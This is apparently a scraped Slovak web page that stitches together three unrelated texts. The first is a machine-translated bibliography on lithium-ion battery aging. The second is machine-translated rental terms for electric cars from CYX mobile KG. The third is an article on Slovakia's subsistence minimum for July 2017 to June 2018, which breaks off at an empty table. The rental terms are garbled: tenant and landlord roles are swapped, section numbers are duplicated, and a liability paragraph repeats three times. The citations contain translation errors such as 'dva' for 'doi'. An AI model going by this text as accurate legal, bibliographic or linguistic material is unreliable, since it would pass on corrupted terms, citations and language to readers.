1. Agarwal V., Uthaichana K., Decarlo RA, Tsoukalas LH Vývoj a validácia modelu batérie užitočného na vybíjanie a nabíjanie riadenia výkonu a odhad životnosti. IEEE Transakcie na energetickú konverziu . 2010; 25 (3): 821-835. dva: 10.1109 / tec.2010.2043106. [ Cross Ref ]

2. Yiu K. Batériové technológie pre elektrické vozidlá a iné zelené priemyselné projekty. Zborník zo 4. medzinárodnej konferencie o silových elektronických systémoch a aplikáciách (PESA ’11); Jún 2011; str. 1-2. [ Cross Ref ]

3. Schmalstieg J., Kabitz S., Ecker M., Sauer DU Z zrýchlených skúšok starnutia do modelu predikcie životnosti: analýza lítium-iónových batérií. Zborník z medzinárodného sympózia a výstavy elektrických vozidiel (EVS ’13); November 2013; Barcelona, Španielsko. str. 1-12. [ Cross Ref ]

4. Chaturvedi NA, Klein R., Christensen J., Ahmed J., Kojić A. Modelovanie, odhady a kontrolné výzvy pre lítium-iónové batérie. Zborník konferencie American Control (ACC ’10); Júl 2010; 1997-2002. [ Cross Ref ]

5. Armand M., Tarascon J.-M. Budovanie lepších batérií. Príroda . 2008; 451 (7179): 652-657. doi: 10.1038 / 451652a. [ PubMed ] [ Krížový odkaz ]

6. Piller S., Perrin M., Jossen A. Metódy určovania stavu a ich aplikácií. Denník zdrojov energie . 2001; 96(1): 113-120. doi: 10.1016 / s0378-7753 (01) 00560-2. [ Cross Ref ]

7. Lu L., Han X., Li J., Hua J., Ouyang M. Preskúmanie kľúčových otázok týkajúcich sa riadenia lítium-iónových batérií v elektrických vozidlách. Denník zdrojov energie . 2013; 226 : 272-288. dva: 10.1016 / j.jpowsour.2012.10.060. [ Cross Ref ]

8. Cuadras A., Kanoun O. SoC monitorovanie Li-ion batérie s impedančnou spektroskopiou. Zborník zo 6. medzinárodnej konferencie o systémoch, signáloch a zariadeniach (SSD ’09); Marec 2009; str. 1-5. [ Cross Ref ]

9. Singh P., Fennie C., Jr., Reisner D. Fuzzy logické modelovanie stavu nabíjania a dostupnej kapacity batérií niklu a hydridu kovu. Denník zdrojov energie . 2004; 136 (1): 322-333. dva: 10.1016 / j.jpowsour.2004.03.035. [ Cross Ref ]

10. Parthiban T., Ravi R., Kalaiselvi N. Vyšetrovanie umelých neurónových sietí [ANN] na predpovedanie elektrochemických charakteristík lítiovo iónových buniek. Electrochimica Acta . 2007; 53 (4): 1877-1882. doi: 10.1016 / j.electacta.2007.08.049. [ Cross Ref ]

11. Vasebi A., Partovibakhsh M., Bathaee SMT Nový kombinovaný model batérie pre odhadu stavu nabíjania v olovených kyselinových batériách na základe rozšíreného Kalmanovho filtra pre hybridné aplikácie elektrických vozidiel. Denník zdrojov energie . 2007; 174 (1): 30-40. dva: 10.1016 / j.jpowsour.2007.04.011. [ Cross Ref ]

12. Plett GL Rozšírené Kalmanové filtrovanie pre batériové systémy LiPB-založené batérie HEV-časť 2. Modelovanie a identifikácia. Denník zdrojov energie . 2004; 134 (2): 262-276. dva: 10.1016 / j.jpowsour.2004.02.032. [ Cross Ref ]

13. Lee J., Nam O., Cho BH Li-ion batéria SOC metóda odhadu založená na Kalmanovom filtrovaní s predĺženou objednávkou. Denník zdrojov energie . 2007; 174 (1): 9-15. dva: 10.1016 / j.jpowsour.2007.03.072. [ Cross Ref ]

14. Zou Y., Hu X., Ma H., Li SE Hodnotenie kombinovaného stavu stavu a stavu zdravia počas životnosti bunkového cyklu lítium-iónových batérií pre elektrické vozidlá. Denník zdrojov energie . 2015; 273 : 793-803. dva: 10.1016 / j.jpowsour.2014.09.146. [ Cross Ref ]

15. Meissner E., Richter G. Výzva pre automobilový priemysel batérií: batéria sa musí stať čoraz integrovanou súčasťou elektrického systému vozidla. Denník zdrojov energie . 2005; 144 (2): 438-460. dva: 10.1016 / j.jpowsour.2004.10.031. [ Cross Ref ]

16. Erdinc O., Vural B., Uzunoglu M. Dynamický lítium-iónový batériový model s ohľadom na vplyv teploty a vyblednutia kapacity. Zborník z medzinárodnej konferencie o čistej elektrickej energii (ICCEP ’09); Jún 2009; 383-386. [ Cross Ref ]

17. Sarre G., Blanchard P., Broussely M. Starnutie lítium-iónových batérií. Denník zdrojov energie . 2004; 127 (1-2): 65-71. dva: 10.1016 / j.jpowsour.2003.09.008. [ Cross Ref ]

18. Serrao L., Chehab Z., Guezennec Y., Rizzoni G. Starnutie modelu Ni-MH batérií pre hybridné elektrické vozidlá. Zborník konferencie energetickej a pohonnej jednotky IEEE (VPPC ’05); September 2005; 78-85. [ Cross Ref ]

19. Spotnitz R. Simulácia kapacity vybledne v lítium-iónových batériách. Denník zdrojov energie . 2003; 113 (1): 72-80. doi: 10.1016 / S0378-7753 (02) 00490-1. [ Cross Ref ]

20. Safari M., Morcrette M., Teyssot A., Delacourt C. Multimodálny model založený na fyzikálnom starnutí na predikciu života Li-Ion batérií. Vestník Elektrochemickej spoločnosti . 2009; 156 (3): A145-A153. dva: 10.1149 / 1.3043429. [ Cross Ref ]

21. Prada E., Di Domenico D., Creff Y., Bernard J., Sauvant-Moynot V., Huet F. Fyzikálne modelovanie LiFePO4-grafitových Li-ion batérií na predpovedanie výkonov a vyblednutia kapacity: aplikácia do kalendára starnutie PHEV a EV. Zborník konferencie IEEE Power and Propulsion Vehicle (VPPC ’12); Október 2012; 301-308. [ Cross Ref ]

22. di Filippi A., Stockar S., Onori S., Canova M., Guezennec Y. Modelový životný odhad lithium-iontových batérií v PHEV pomocou simulácií veľkých vozidiel: úvodná štúdia. Zborník konferencie Power and Propulsion Vehicle IEEE (VPPC ’10); September 2010; str. 1-6. [ Cross Ref ]

23. Musallam M., Johnson CM Efektívna implementácia algoritmu počítania dažďových tokov na odhad životnej spotreby. Transakcie IEEE na spoľahlivosť . 2012; 61 (4): 978-986. doi: 10.1109 / TR.2012.2221040. [ Cross Ref ]

24. Lenga F., Tana CM, Pechtc M., Zhanga J. Vplyv teploty na elektrochemickú lítium-iónové batérie. Zborník z medzinárodného sympózia o elektronike ďalšej generácie (ISNE ’14); Máj 2014; Kwei-Šan, Taiwan. str. 1-4. [ Cross Ref ]

25. Y. Y., Shi Y., Cai N., Lee J., He X. Elektrotermálne modelovanie a experimentálna validácia lithium-iontovej batérie. Denník zdrojov energie . 2012; 199 : 227-238. dva: 10.1016 / j.jpowsour.2011.10.027. [ Cross Ref ]

26. Jansen AN, Clevenger JA, Baebler AM, Vaughey JT Variabilná teplotná účinnosť intermetalických anódových materiálov lítium-iónových batérií. Žurnál zliatin a zlúčenín . 2011; 509 (13): 4457-4461. dva: 10.1016 / j.jallcom.2011.01.111. [ Cross Ref ]

27. Štúdia o batériách. http://www.verlab.dcc.ufmg.br/projetos/roomba/batteries .

28. Sinkaram C., Asirvadam VS, Mohd Nor NB Štúdia kapacity lítium-iónovej batérie pre hybridné elektrické vozidlá (HEV), simulačný prístup. Zborník z 3. medzinárodnej konferencie IEEE o aplikáciách spracovania signálov a obrazu (ICSIPA ’13); Október 2013; s. 112-116. [ Cross Ref ]

Zdroj: Analýza účinku starnutia na batérie Li-Polymer

podmienky

PRENÁJOM PODMIENKY v: 25.04.2017

 

1. PRIJATIE VOZIDLA

Prenajímateľ / vodič potvrdzuje, že prevzal vozidlo v súlade so zmluvou as príslušenstvom špecifikovaným v akceptačnom protokole. Prenajímateľ / vodič je povinný zaznamenať akékoľvek sťažnosti ihneď po prijatí vozidla na záznam o prevzatí.

 

2. PRENÁJOM

Obdobie nájmu začína a končí na zmluvne dohodnutom mieste dodania v zmluvne dohodnutom období nájmu. Za každý začatý 24-hodinový 1 deň nájomného bude účtovaný poplatok. Prekročenie dohodnutého nájomného obdobia je povolené len s predchádzajúcim súhlasom prenajímateľa. V opačnom prípade je prenajímateľ oprávnený získať vlastníctvo nájomného vozidla na náklady nájomcu. Platí to aj pre dlhodobejšie nájomné v prípade, že nájomca je v omeškaní s dohodnutými platbami viac ako 10 dní alebo je predvídateľný, že si nesplní svoje povinnosti. Ak nájomca pokračuje v používaní vozidla po uplynutí dohodnutej doby nájmu, nájom sa nepovažuje za predĺžený. § 545 BGB sa nevzťahuje.

 

3. PRICE

Výpočet je založený na čase a prípadne aj na riadených viac kilometroch. Menej kilometrov sa nevracia. Dohodnutá nájomná cena je splatná pred nájmom. Pri dlhodobom prenájme sa záloha vypláca mesačne. Náklady na údržbu, opotrebenie (pri pneumatikách v súvislosti s bežným opotrebovaním) sú plne komplexné poistenie a poistenie zodpovednosti za škodu spôsobenú prevádzkou motorových vozidiel zahrnuté v cene nájmu. Náklady na trakčný prúd znáša nájomca. Rovnako tak nájomca nesie Tesla Charges za to, že nenabíja Tesla Supercharger (Super Charger Blocking Charge).

 

4. ZÁLOHA

Na zabezpečenie odpočítateľnosti poistného, ako aj nákladov na spracovanie prenajímateľa v prípade škody alebo nehôd, nájomca zvyčajne pred začiatkom nájmu vkladá zábezpeku vo výške 2 000,00 EUR – ak sa v nájomnej zmluve nedohodne inak. Potom je to autoritatívne. Toto bude vyplatené v prípade bezproblémového vrátenia vozidla. Ak je vozidlo poškodené, majiteľ ponechá vklad, až kým sa príčinou škody konečne neobjaví.

 

5. CASH

Ako platobný prostriedok prijímame PayPal a bankové prevody, bez predplatených alebo debetných kariet. Platby na mieste s EC alebo kreditnou kartou sú možné na vyžiadanie. Preto prenajímateľ účtuje poplatok za spracovanie vo výške 2% z čiastky.

 

6. AUTORIZOVANÉ DRÁHÁRI

Na používanie vozidla majú nárok len vodiči uvedení v nájomnej zmluve. Na tento účel sa musia predložiť požadované platné vodičské preukazy (predchádzajúca trieda 3 alebo trieda EÚ B) a platné preukazy totožnosti / cestovné pasy. Zákaz jazdy nesmie existovať a byť neznámy. Vodič musí mať najmenej 24 rokov a musí mať vodičský preukaz minimálne 3 roky. Nájomca bude informovať ďalších vodičov o zmluvných podmienkach nájomnej zmluvy a zabezpečí dodržiavanie všeobecných podmienok nájmu. Pre niekoľko vodičov musí byť lodný denník v záujme prenajímateľa.

 

7. POUŽITIE VOZIDLA

Vozidlo môže byť použitý len na verejných cestách, ale nie pre jazdu v teréne, jazda školské cvičenie, na komerčnú osobnú dopravu, testovanie vozidla alebo bezpečnostného školenie vodičov v súvislosti s motorovým športom, alebo pre jazdu na pretekárskych tratiach, a to aj v prípade, ak sú uvoľnená pre širokú verejnosť pre testovanie a skúšobnú prevádzku (tzv. turistické výlety).

Nepovolené sú prenájom, iné prevody tretím stranám okrem oprávnených vodičov podľa ods. Para. 6, ako aj iné zneužité použitia. Preprava nebezpečných látok je zakázaná.

Malé zvieratá (mačky, psy, iné domáce zvieratá) sa môžu prepravovať iba vo vhodných boxoch. Prenajímateľ si vyhradzuje právo vykonať čistenie vlasov z domácich zvierat v aute kvôli riziku alergií a účtovať nájomcovi paušálnu sumu 150,00 EUR.

Dodržiavajte návod na obsluhu, ako aj právne predpisy platné pre používanie vozidla.

Prenášané vozidlo nesmie byť ťahané ťahaním, ale musí byť zdvihnuté na ťažnom vozidle a prepravované stáť.

Nájomca znáša všetky náklady spojené s poplatkami vyberanými za používanie určitých dopravných trás a poskytuje všetky potrebné povinnosti spolupráce (mýto) v súvislosti so zberom poplatkov.

Vozidlo sa musí manipulovať v súlade so zmluvou a opatrne a musí byť chránené pred akýmkoľvek nadmerným používaním. Úroveň akumulátora by mala byť pravidelne kontrolovaná a úplné vybitie batérie je zakázané. Bezpečnosť cestnej premávky musí byť trvalo zaručená.

Jazda s funkciou „autopilota“ (Tesla) a používanie režimu volania neznamená, že nájomca je oslobodený od akejkoľvek zodpovednosti za cestnú premávku ako vodič pre vzniknutú škodu. Je to asistenčná funkcia, ktorá môže byť zapnutá, vodič je vždy zodpovedný!

Ak je k dispozícii, nájomcovi môže byť udelený prístup k vozidlu. Prístup k aplikáciám na vozidlá nie je zmluvne dohodnutou službou. Vo vozidlách s GPS sledovaním žiadne umiestnenie vozidiel prenajímateľom pri správnom používaní nájomcom. Ak porušíte vrátenej dane (§ 15) a ziskom nežiaduce správanie zákazníkov, ktorí robia vozidlo sledovanie nevyhnutné alebo na žiadosť nájomcu (alebo výrobcom vozidla, ak nemožno dosiahnuť nájomcu), prenajímateľ má právo na určenie polôh alebo vzdialený prístup ,

V prípade technických problémov musí byť prenajímateľ okamžite informovaný. Fajčenie vo vozidlách nie je povolené. Prenajímateľ je oprávnený v každom prípade preukázať vinným porušením paušálnu náhradu vo výške 100,00 EUR.

Pokiaľ sa vozidlo nepoužíva, musí byť vo všetkých jeho častiach uzatvorené. Prenajímateľ / vodič musí pri odchodu z vozidla vyzdvihnúť kľúče a dokumenty vozidla a zabrániť ich prístupu neoprávneným osobám.

Ak sa čakajú na aktualizácie softvéru pre dlhodobejšie nájomné, obráťte sa na prenajímateľa na akciu alebo na inštaláciu.

Okrem toho môže byť potrebné, aby v prípade dlhodobejšieho prenájmu došlo k zmene kolies, vykonala sa hlavná prehliadka alebo oprava v dielni alebo u výrobcu vozidla. V prípade prestávky dlhšej ako 24 hodín nájomca dostane od prenajímateľa náhradné vozidlo. Nájomca je inak povinný zúčastniť sa garážových stretnutí v blízkom okolí, ak je to primerané a bežné.

 

Porušenie ktorejkoľvek z vyššie uvedených ustanovení oprávňuje prenajímateľa k ukončeniu zmluvy bez výpovednej lehoty alebo k odstúpeniu od zmluvy. Nároky na náhradu škody nájomcu sú v tomto prípade vylúčené. To však neovplyvňuje nároky majiteľa škody na škodu. V prípade porušenia jednej z týchto povinností je nájomca napriek akémukoľvek obmedzeniu zodpovednosti ohrozený plnou zodpovednosťou za vzniknutú škodu.

 

8. TRIPS V ZAHRANIČÍ

Nájomné vozidlá je možné jazdiť len v Nemecku, Rakúsku a Švajčiarsku. Výnimky sú možné, ale len s predchádzajúcim písomným súhlasom.

 

9. VRÁTENIE VOZIDLA

Prenajímateľ vráti vozidlo so všetkým príslušenstvom správne a naúčtuje sa v dohodnutom čase v dohodnutom čase.

Ak je dôležitý dôvod, prenajímateľ je oprávnený požadovať vrátenie vozidla predčasne v určitej lehote alebo okamžite po ukončení tohto prenájmu bez oznámenia. V prípade nerešpektovania si prenajímateľ vyhradzuje právo zabezpečiť vozidlo a zaplatiť nájomcovi náklady.

V prípade, že vozidlo aj v prípade možná prináša loptu, kľúč vozidla alebo doklady u prenajímateľa – po pracovnej dobe alebo na akékoľvek iné ako dohodnutom mieste alebo neskôr sa vrátil, nájomná zmluva, kým majiteľ opäť predĺžil vozidlo v priamom držbe má; to platí aj v prípade poškodenia vozidla. Akékoľvek dodatočné náklady (napríklad náklady na vrátenie) budú účtované nájomcovi.

 

10. POVINNOSTI PRENÁJAJCA / DRŽITEĽA V PRÍPADE POŠKODENIA ALEBO V PRÍPADE ŠKODY

V prípade poškodenia (nehody, krádeže, lúpeže, ohňa, hry alebo iné poškodenie) je odhodlaná nájomca / prevádzkovateľ zabezpečiť, aby všetky potrebné opatrenia na zmiernenie škôd a dôkazy majú byť prijaté, a síce:

• polícia je okamžite vyzvaná, a to aj v prípade nehôd bez účasti tretích strán
• sa zaznamenajú mená a adresy osôb zapojených do nehody a svedkov, ako aj registračné čísla zúčastnených vozidiel a vyhotoví sa náčrt
• žiadne potvrdenie o poruche neznamená nájomca / vodič a prijmú sa primerané bezpečnostné opatrenia pre vozidlo.

Prenajímateľ / vodič nesmie opustiť miesto nehody, kým nesplní svoju povinnosť objasniť skutočnosti a zistiť požadované skutočnosti. Po krádeži vozidla, dielov alebo príslušenstva vozidla musí nájomník / vodič ihneď hlásiť príslušnej policajnej stanici. Pre parkovacie miesto vozidla sú – ak sú k dispozícii – názvy svedkov a zodpovedajúce náčrty. Prenajímateľ / vodič je povinný bezodkladne oznámiť všetky pohľadávky prenajímateľovi úplne a pravdivo. Musia sa priložiť policajné osvedčenia. V prípade krádeže vozidla je prenajímateľ / vodič povinný prenajímateľovi odovzdať kľúče a doklady. Aj pri ďalšom spracovaní reklamácie je nájomca / vodič povinný

Ak pri poruche nie je zaručená bezpečná prevádzka vozidla alebo je poškodená jeho funkcia, nájomník / vodič musí prijať primerané opatrenia a okamžite koordinovať s prenajímateľom opatrenia, ktoré sa majú vykonať. Ak to chcete urobiť, bezodkladne kontaktujte telefónne číslo uvedené v nájomnej zmluve.

 

11. ZODPOVEDNOSŤ ZÁKAZNÍKA

Prenajímateľ je zodpovedný za dobu trvania nájomnej zmluvy za škodu na prenajatom vozidle alebo spôsobenú jeho prevádzkou alebo stratou vozidla (vrátane častí a príslušenstva vozidla). Prenajímateľ je tiež zodpovedný za škodu, ktorá sa určuje až po návrate vozidla, napríklad keď je vozidlo vrátené v tme alebo vo veľmi znečistenom stave. Prenajímateľ musí v tomto prípade preukázať, že vozidlo nebolo medzičasom používané ním alebo treťou osobou. Zodpovednosť nájomcu nenastane, ak nájomca nenesie zodpovednosť za škodu alebo stratu spôsobujúcu porušenie povinnosti. Zodpovednosť nájomcu za škody sa vzťahuje aj na náklady na opravu plus akékoľvek znehodnotenie alebo v prípade úplnej straty vozidla na náhradnú hodnotu vozidla mínus zostatková hodnota. Navyše, nájomca je zodpovedný za náklady na ťahanie, odborné poplatky a akékoľvek ďalšie poplatky a náklady, ktoré vznikli prenajímateľovi, a za stratu nájomného. Ak je vozidlo odovzdané tretím stranám – vrátane tých, 6 ďalších jazdcov – nájomca je zodpovedný za súlad s podmienkami tohto prenájmu a správaním tretej strany ako s vlastným správaním. Niekoľko nájomníkov / vodičov je zodpovedných za spoločných dlžníkov. Poplatky za odborníkov a akékoľvek ďalšie poplatky a náklady, ktoré vznikli prenajímateľovi a za stratu nájomného. Ak je vozidlo odovzdané tretím stranám – vrátane tých, 6 ďalších jazdcov – nájomca je zodpovedný za súlad s podmienkami tohto prenájmu a správaním tretej strany ako s vlastným správaním. Niekoľko nájomníkov / vodičov je zodpovedných za spoločných dlžníkov. Poplatky za odborníkov a akékoľvek ďalšie poplatky a náklady, ktoré vznikli prenajímateľovi a za stratu nájomného. Ak je vozidlo odovzdané tretím stranám – vrátane tých, 6 ďalších jazdcov – nájomca je zodpovedný za súlad s podmienkami tohto prenájmu a správaním tretej strany ako s vlastným správaním. Niekoľko nájomníkov / vodičov je zodpovedných za spoločných dlžníkov.

Prenajímateľ je zodpovedný za dôsledky dopravných porušení alebo trestných činov identifikovaných v súvislosti s prenajatým vozidlom a zodpovedá prenajímateľovi za akékoľvek vzniknuté poplatky a náklady. Prenajímateľ je povinný v tomto prípade informovať nájomcu / vodiča.

 

12. OBMEDZENIA ZODPOVEDNOSTI

Zodpovednosť nájomcu za poškodenie vozidla alebo stratu vozidla podľa ods. 11 podlieha odseku. 13 – znížené o poistenie uzavreté prenajímateľom na odpočítateľnú sumu na jednu poistnú udalosť vo výške 2 000,00 EUR, pokiaľ nie je v nájme stanovené inak.

Zodpovednosť nájomcu / vodiča za dopravné priestupky a trestné činy nemožno vylúčiť. Prenajímateľ / vodič je plne zodpovedný za dôsledky takýchto činov a je zodpovedný voči prenajímateľovi za všetky následné poplatky a náklady. Na kompenzáciu výsledného administratívneho zaťaženia účtujeme dodatočný poplatok za spracovanie vo výške 10 EUR za každú takúto transakciu.

 

13. POUŽITIE / ODPAD ZNÍŽENIA ZODPOVEDNOSTI

Zníženie zodpovednosti podľa ods. 12 sa nevzťahuje na škody, ktoré úmyselne spôsobil prenajímateľ / vodič. V prípade hrubej nedbalosti spôsobenej škody je prenajímateľ oprávnený nárokovať nájomcu / vodiča vo výške zodpovedajúcej závažnosti poruchy až do výšky celkovej škody.

Zníženie zodpovednosti sa neuplatňuje, ak nájomca / vodič úmyselne poruší niektorú zo zmluvných povinností týchto podmienok. V prípade hrubej nedbanlivosti porušenia povinnosti je prenajímateľ oprávnený nárokovať nájomcu / vodiča v sume zodpovedajúcej závažnosti poruchy až do výšky celkovej škody. Dôkazné bremeno pri neexistencii hrubej nedbanlivosti hradí nájomca / vodič. Zníženie zodpovednosti sa neuplatňuje, ak porušenie povinnosti nie je ani príčinou straty, ani určenie existencie podmienok na poskytnutie zníženia zodpovednosti.

 

14. POISTENIE

obsahujú požičovňa lm je poistenie zodpovednosti automobil s 50 miliónov € za nehodu na zranenia a škody na majetku, ale v prípadoch ujmy na zdraví viac ako 8 miliónov € na osobu. Poškodenia / straty pre položky v vozidle alebo na vozidle nie sú kryté týmto upisovaním.

 

15. PLATOBNÉ / POPLATKY POPLATKY

Po vrátení vozidla prenajímateľovi je nájomca povinný zaplatiť akýkoľvek zostávajúci rozdiel, ktorý sa skladá z jednotlivých položiek uvedených v nájomnej zmluve. Zahŕňa to aj fakturáciu prípadného nedostatku dobíjania alebo dodatočných kilometrov.

Ak sa vozidlo vráti neskoro, nájomca zaplatí navyše k plánovanej sadzbe za každý začiatok prebytku. Ak bola dohodnutá špeciálna časovo obmedzená tarifa, štandardný tarif platný v čase prenájmu bude účtovaný od začiatku doby nájmu.

Ak sú pohľadávky z tohto lízingu platené kreditnou kartou, považuje sa podpis držiteľa karty za oprávňujúci plnú sumu faktúry, ktorá sa má účtovať na príslušnom účte organizácie kreditnej karty. Toto oprávnenie sa vzťahuje aj na dodatočné poplatky vyplývajúce z opravy nájomnej ceny, pohľadávok a porušení dopravných predpisov na základe nájomnej zmluvy.

 

16. ZODPOVEDNOSŤ VLASTNÍKA

By došlo k zlyhaniu vozidlá a nie sú náhradné vozidlo v primeranej lehote k dispozícii, alebo s oneskorením dohodnutú dodávku vinou prenajímateľa po dobu dlhšiu ako 4 hodiny, nájomca môže od zmluvy odstúpiť.

Nepredvídateľné, nevyhnutné a ležiace mimo kontrolu prenajímateľa a nemôže byť držaný ním, ako živelných pohrôm, vojen, teroristických útokov a prírodných katastrof uvoľňujúce prenajímateľa po celú dobu trvania záväzku k včasnému plnenia. V prípade poškodenia alebo straty predmetov nájomcu / vodiča alebo iných osôb v alebo na prenajatom vozidle pred, počas alebo po nájme je prenajímateľ zodpovedný len v prípade chyby. S výhradou ustanovenia v nasledujúcom odseku je právna zodpovednosť prenajímateľa za škody obmedzená nasledovne:

• je prenajímateľ zodpovedný za sumu obmedzenú na typicky predvídateľnú pri uzatvorení zmluvy škodu za mierne nedbanlivé porušenie základných povinností vyplývajúcich z povinnosti
• prenajímateľ nie je zodpovedný za mierne nedbanlivé porušenie menších záväzkov z dlhu. Obmedzenie zodpovednosti uvedené v predchádzajúcom odseku sa nevzťahuje na prípady povinnej právnej zodpovednosti, ako aj na prevzatie záruky alebo zavinenia spôsobené ujmu na zdraví.

 

17. ZRUŠENIE

V prípade zrušenia nájomnej zmluvy nájomcom budú účtované nasledovné storno poplatky:

• do 1 mesiaca pred príchodom: 25% z nájomného
• do 1 týždňa pred príchodom: 50% z nájomného
• menej ako 1 týždeň pred príchodom: 75% z nájomného

 

I8. PRIVÁTNE SÚHLAS

Nájomca / prevádzkovateľ súhlasí s tým, že jeho osobné údaje, ak sú nevyhnutné pre podnikanie a ako súčasť bežného obchodného vzťahu (ponuky, propagačné akcie, novinky), uložený v súlade so zákonom o Federálny ochrane osobných údajov zo strany prenajímateľa alebo jeho agenti a tie sú prenášané.

Nájomca po uzavretí nájomnej zmluvy písomne odvolá.

 

19. OPERÁCIA OPAKOVANÉHO PARKOVANIA

Nasledujúce ustanovenia sa považujú za dohodnuté len vtedy, ak je v zmluve o prenájme uvedené oznámenie „Používanie vozového parku“.

Súhlas na používanie osobou určenou skupinou nájomcov týmto udeľuje prenajímateľ. Nájomník pôsobí ako spoločný dlžník pri prevode. Uisťuje sa o existencii podmienok účasti na cestnej premávke, ako aj o minimálnom veku pre vodiča. Ďalej má povinnosť tretím osobám, ktorým prechádza predmet prenájmu, informovať o zmluvách z nájmu. V prípade škody je zodpovedný spoločný dlžník. Je však povinnosťou, aby sa dohodol na prepustení od tretej strany. Odporúča sa viesť denník.

Pripojenie vonkajšej reklamy na vozidlo vo forme lepiacich fólií alebo magnetických značiek je povolené. Tieto sa majú profesionálne odstrániť pri návrate, bez rezíduí. Náklady na zaistenie a odstránenie znáša nájomca.

 

20. ZMENY VŠEOBECNÝCH PODMIENOK PRIJÍMANIA

Zmeny všeobecných zmluvných podmienok nájmu sa oznamujú a odovzdávajú nájomcovi. Dlhodobí nájomníci dostávajú zmenené podmienky poštou. Ak sa tieto dokumenty nezrušia písomne do 14 dní, považujete ich za prijaté.

 

21. DODATOČNÉ SUBDISKY A DOPLNKY

Všetky doplnkové dohody, zmeny alebo dodatky k nájomnej zmluve musia byť písomné. Dohody o ústnom zabezpečení neboli splnené.

 

20. NULLITA ALEBO ČIASTOČNOSŤ

Prípadná neplatnosť alebo čiastočná neplatnosť jednej alebo viacerých ustanovení nemá vplyv na platnosť zostávajúcich ustanovení. Pokiaľ chýbajú nejasnosti vyplývajúce z týchto podmienok a nariadení, musia sa primerane uplatniť ustanovenia zákona o poistných zmluvách a ustanovenia všeobecných podmienok pre poistenie motorových vozidiel.

 

21. PERFORMANCE

Miesto plnenia pre všetky nároky vyplývajúce z tejto zmluvy je miesto prenajímateľa.

 

22. PRÍSLUŠNÝ PRÁVO / JURISDIKCIA / RIADENÝ RIADITEĽ

Uplatňuje sa nemecké právo. Ak je nájomník obchodníkom alebo nemá všeobecnú právomoc v Spolkovej republike Nemecko, súd zodpovedný za umiestnenie prenajímateľa je zodpovedný za všetky spory súvisiace s touto nájomnou zmluvou. Prenajímateľ má právo obrátiť sa na iný príslušný súd.

 

CYX mobile KG

Pred Riedtorom 2

99310 Arnstadt

Telefón: 03628 – 588 540

Okresný súd Jena, HRB 503980

USt.-Id. Č .: DE306879138

Výkonný riaditeľ: Hartmut Heese, vedúci Cornel Budzisch

Managing Partner: Stefan Moeller

MIETVERTRAGSBEDINGUNGEN CYX MOBILE KG – Elektrofahrzeuge, CYX MOBILE KG, Stand: 25.04.2017   ÜBERNAHME DES FAHRZEUGES Der Mieter/Fahrer bestätigt, das Fahrzeug in vertragsgemäßem Zustand und mit dem im Übernahmeprotokoll bezeichneten Zubehör übernommen zu haben. Der Mieter/Fahrer ist verpflichtet, eventuelle Beanstandungen sofort bei Fahrzeugübernahme auf dem Übernahmeprotokoll zu vermerken.   MIETDAUER Die Mietdauer beginnt und endet an dem vertraglich vereinbarten Übergabeort zur vertraglich vereinbarten Mietzeit. Für je angefangene 24-Stunden wird 1 Miettag berechnet. Eine Überschreitung der vereinbarten Read more about AGB…

Zdroj: AGB – Strominator.de

Životné minimum od 1.7.2017 do 30.6.2018

Norbert Seneši | 09.06.2017

Životné minimum sa po štyroch rokoch zmení. Aká bude jeho výška od 1. júla 2017 a ako sa zmenia ďalšie dôležité daňové, ekonomické a právne hodnoty naviazané na jeho sumu?

Životné minimum – prečo je jeho suma taká dôležitá

Zákon č. 601/2003 Z. z. o životnom minime v znení neskorších predpisov (ďalej len „zákon o životnom minime“) definuje a ustanovuje životné minimum ako spoločensky uznanú minimálnu hranicu príjmov fyzickej osoby, pod ktorou nastáva stav jej hmotnej núdze. Suma životného minima však má vplyv aj na mnoho iných veličín používaných v mnohých právnych predpisoch, preto je veľmi dôležitá. Od sumy životného minima sa napríklad odvíja výška daňového bonusu, nezdaniteľnej časti základu dane na daňovníka, výška základu dane, po prekročení ktorého sa u fyzickej osoby naň vzťahuje 25 % sadzba dane z príjmov. Ďalej je na sumu životného minima naviazaná aj suma predčasného starobného dôchodku, ktorú musí poistenec dosiahnuť, aby mohol požiadať o predčasný starobný dôchodok. Od životného minima závisí aj zvyšovanie rodičovského príspevku, zvyšovanie prídavku a príplatku k prídavku na dieťa, výška nepostihnuteľnej sumy pri exekučných zrážkach a iné.

Úprava súm životného minima od 1. 7. 2017

Podľa zákona o životnom minime sa sumy životného minima upravujú k 1. júlu kalendárneho roka . Úprava súm životného minima vychádza z doteraz platných súm životného minima, ktoré sa vynásobujú koeficientom rastu čistých peňažných príjmov na osobu alebo koeficientom rastu životných nákladov nízkopríjmových domácností podľa toho, ktorý z týchto koeficientov nadobudol nižšiu hodnotu. Úprava súm životného minima sa nevykoná vtedy, ak by malo dôjsť k jeho zníženiu, tzn. v zákone o životnom minime je zakotvené pravidlo, že životné minimum sa môže iba zvýšiť. Ak takáto situácia nastane a sumy životného minima by sa mali zvýšiť, tak podľa § 5 ods. 7 zákona o životnom minimeMinisterstvo práce, sociálnych vecí a rodiny Slovenskej republiky vydá opatrenie , ktorým ustanoví upravené sumy životného minima.

Životné minimum sa upravuje k 1. júlu kalendárneho roka

V súčasnosti takáto situácia po štyroch rokoch nastala a sumy životného minima sa od 1. júla 2017 s vysokou pravdepodobnosťou zvýšia. Zatiaľ však ide o návrh opatrenia Ministerstva práce, sociálnych vecí a rodiny Slovenskej republiky o úprave súm životného minima, ktorý ešte nie je schválený (nachádza sa v medzirezortnom pripomienkovom konaní). Je však veľmi pravdepodobné, že v blízkej dobe bude bez zmeny schválený a navrhované sumy životného minima nadobudnú účinnosť.

Sumy životného minima od 1.7.2017 do 30.6.2018

Od 1. júla 2017 najneskôr do 30. júna 2018 sa za životné minimum fyzickej osoby alebo fyzických osôb, ktorých príjmy sa posudzujú spoločne, považuje suma alebo úhrn súm:

• 199,48 eura mesačne, ak ide o jednu plnoletú fyzickú osobu ,
• 139,16 eura mesačne, ak ide o ďalšiu spoločne posudzovanú plnoletú fyzickú osobu,
• 91,06 eura mesačne, ak ide o zaopatrené neplnoleté dieťa alebo o nezaopatrené dieťa.

V porovnaní so sumami životného minima (198,09 eura, 138,19 eura a 90,42 eura), ktoré boli platné celé štyri roky od 1. júla 2013 do 30. júna 2017, tak ide o mierne zvýšenie súm životného minima. Z pohľadu hodnoty iných veličín používaných v iných právnych predpisoch je najdôležitejšia práve suma životného minima 199,48 eura pre jednu plnoletú fyzickú osobu.

Prehľad súm životného minima k 1. júlu rokov 2009 až 2017

Prehľad vybraných súm viazaných na výšku životného minima platného k 1. júlu 2017

Veličina	Právna úprava	Platné obdobie	Suma v EUR
